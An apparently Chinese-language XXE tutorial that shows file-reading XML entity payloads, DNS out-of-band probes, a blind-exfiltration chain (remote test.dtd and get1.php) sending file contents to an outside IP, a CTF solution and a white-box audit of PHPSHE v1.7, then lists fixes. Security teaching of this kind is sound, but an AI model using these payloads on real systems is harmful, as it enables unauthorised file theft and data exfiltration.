#知识点:
1、XML&XXE-原理&发现&利用&修复等
2、XML&XXE-黑盒模式下的发现与利用
3、XML&XXE-白盒模式下的审计与利用
4、XML&XXE-无回显&伪协议&产生层面
#思路点:
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
-XXE黑盒发现:
1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
-XXE白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计(xml)
3、可通过伪协议玩法绕过相关修复等
一、基础知识
1、XML
XML即可扩展标记语言(EXtensible Markup Language),是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。
其与HTML的区别是:
- HTML 被设计用来显示数据,其焦点是数据的外观
- XML 被设计用来传输和存储数据,其焦点是数据的内容
XML文档结构包括:
- XML声明
- DTD文档类型定义(可选)
- 文档元素
其焦点是数据的内容,把数据从HTML分离,是独立于软件和硬件的信息传输工具。
# XML文档
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<!--文档元素-->
<foo>&xxe;</foo>
二、XML外部实体注入漏洞(XXE)
XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(获取文件内容)、命令执行、内网端口扫描、攻击内网网站等危害。
1、XML&XXE-黑盒-原理&探针&利用&玩法等
这类漏洞与之前的漏洞有所不同,区别在于数据格式传输上的不同。在数据传输的格式有:json、字符串、xml。
【例】:xml的数据传输格式
① 访问:127.0.0.1:8081/web/php_xxe,输入用户名密码进行登录,抓包

可以看到请求数据包中,账号密码的传输格式是:<user><username>admin</username><password>amdin</password></user>
数据包中X-Requested-With: XMLHttpRequest 和 Content-Type: application/xml也说明它传输数据的格式是xml的
② 与html的请求的数据包,传输数据的格式不一样:

③ 所以xml接收数据格的式是不一样的,那么它肯定是用xml的代码去解析数据
那么他在代码中是怎么处理数据的呢?

2、XXE漏洞利用
① 攻击原理
访问者客户端:用xml发送数据
服务端:用xml解析数据
如果利用xml写一个带有文件读取的代码尝试发送,如果被解析,那么就会得到类似文件读取功能实现。
② 那么如何用XML代码去进行文件读取呢?
XML文件读取代码:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/www.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
其中:
用“file”协议读文件;
&test;是变量
③ 将XML请求中的数据包,替换为xml文件读取的代码,发送请求后,成功读取到文件的内容

3、XXE - 带外测试 - 引用外部实体dtd
可以参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
1. 带外测试:(能不能加载远程文件)
用到平台 http://www.dnslog.cn/(获取一个免费的域名,利用漏洞让对放去访问这个地址,然后平台获取到对方的IP地址等信息)
① 从dnslog平台,获取域名

② payload:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>
将发送的xml数据包修改为payload进行发包,查看dnslog平台的访问记录

进行带外测试,是为了解决无回显问题,类似于正向连接和反向连接问题。
响应中有回显,是因为代码中写了输出的内容,比如1,username
如果将代码中输出的内容注释掉,那在响应中就看不到回显的内容了

注释掉后,再一次利用上面的payload进行读取文件,发现已经读取不到文件内容了

读取不到文件,可能的原因有很多种:1.代码写错 2.文件不回显 3.文件路径写错
带外测试是判断这个漏洞存不存在,判断能不能向外部发送数据。
如果访问后有访问记录,就说明漏洞存在,只是没有回显而已:

2. 引用外部实体dtd
通过带外测试,确定漏洞存在,通过引用外部实体,读取文件内容
外部实体引用dtd:引用远程evil2.dtd文件,evil2.dtd文件是远程加载读取文件(核心代码)
① 解决拦截防护绕过问题;
② 解决数据不回显问题;
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/web/php_xxe/evil2.dtd">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>
# evil2.dtd:读取d:www.txt内容,核心代码
<!ENTITY send SYSTEM "file:///d:/www.txt">

3. 解决引用外部实体时不回显
如果代码中不返回的内容,读取的文件没有回显,把数据进行传参,然后再进行接收
用burpsuite修改后进行发包:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/www.txt"> //把www.txt的内容赋值给file变量
<!ENTITY % remote SYSTEM "http://47.94.236.117/web/php_xxe/test.dtd"> //同时请求远程地址的test.dtd文件
%remote;
%all;
]>
<root>&send;</root>
# test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/web/get1.php?file=%file;'>"> //再用get1.php文件的参数来接收file的内容
# get1.php
<?php
$data=$_GET['file']; #获取file的内容
$myfile = fopen("file.txt", "w+"); #新建文件
fwrite($myfile, $data); #将文件内容写到新建的文件
fclose($myfile);
?>
在http://47.94.236.117/web/get1.php同级目录下查看file.txt文件就可以获取到www.txt内容。
4. 外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有

4、XML&XXE-前端-CTF&Jarvisoj&探针&利用
【例】:CTF考题 http://web.jarvisoj.com:9882/
① 操作时,抓包

② 发现数据包的格式以及Content-Type都显示是json格式的

③ 但是查看源代码时,发现本来是XML的请求,在JS中被处理成了json格式的

关键代码函数XMLHttpRequest,在网上搜索https://www.w3school.com.cn/xml/xml_http.asp
④ 其实就是考的是xml,那么就直接把数据改为xml即可,用到之前的payload
<?xml version = "1.0"?><!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///home/ctf/flag.txt"> ]><x>&f;</x>
同时更改请求数据格式为:Content-Type: application/xml
⑤ 修改数据包,重新发包,成功读取到文件内容

总结:
XXE黑盒发现:
1. 抓包获取得到Content-Type或数据类型为xml时,直接尝试进行xml语言payload的测试;
2. 不管获取的Content-Type类型或数据传输类型是否是xml,均可尝试修改数据包为xml的payload后提交测试xxe;
3. xxe不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的xxe被执行(比如excel、svg支持xml语言);
流程:黑盒功能分析-前端提交-前端源码 - 抓包-构造Paylod测试
5、XML&XXE-白盒挖掘-CMS&PHPSHE&无回显审计
XXE白盒发现:
1. 可通过应用功能追踪代码定位审计;
2. 可通过脚本特定函数搜索定位审计;
3. 可通过伪协议玩法绕过相关修复等。
针对xxe漏洞挖掘,重点是关键函数,如果是数据传输,那么就很难被发现。(不知道特定功能点)
1. 搜特定函数
(1) php 搜 “php xml 解析函数”
参考:https://www.cnblogs.com/timelesszhuang/p/4699734.html
【例】:PHPSHE B2C商城系统v1.7
① 源代码全局搜索xml解析关键函数:simplexml_load_string


继续搜索wechat_getxml函数

思路回想一下:
漏洞函数在自定义函数pe_getxml里面-->找谁调用了pe_getxml函数-->找到调用pe_getxml函数的wechat_getxml函数,继续寻找谁调用了wechat_getxml函数,最后找到了$xml = wechat_getxml();
审计流程:
1、漏洞函数simplexml_load_string
2、pe_getxml函数调用了漏洞函数
3、wechat_getxml调用了pe_getxml
4、notify_url.php调用了wechat_getxml
访问notify_url文件触发wechat_getxml函数,构造Paylod测试
② 漏洞产生的文件是D:\phpstudy_pro\WWW\phpshe1.7\include\plugin\payment\wechat\notify_url.php
那么直接访问漏洞地址http://127.0.0.1:8111/include/plugin/payment/wechat/notify_url.php

③ 访问时抓包,修改数据包后重新发包
构造payload:
先尝试读取文件,
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/www.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

发现他没有读到内容,那么可能是什么问题呢?
1.不存在漏洞
2.无回显
3.文件不存在
4.payload不对
④ 那么就用带外测试,解决文件不存在,无回显问题。如果带外不能成功,要么就是payload写错,要么就是没漏洞。
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://f5w0tv.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>

在dnslog.cn平台上接收到数据,证明漏洞存在:

⑤ 然后带外传递数据解决无回显:
# 修改包数据
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/www.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1:8081/web/php_xxe/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
# test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8081/web/get1.php?file=%file;'>">
# get1.php:
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
⑥ 打开file.txt,查看读取的“d:/www.txt”文件的内容
6、XXE修复防御方案:
(1)方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
(2)方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

浙公网安备 33010602011771号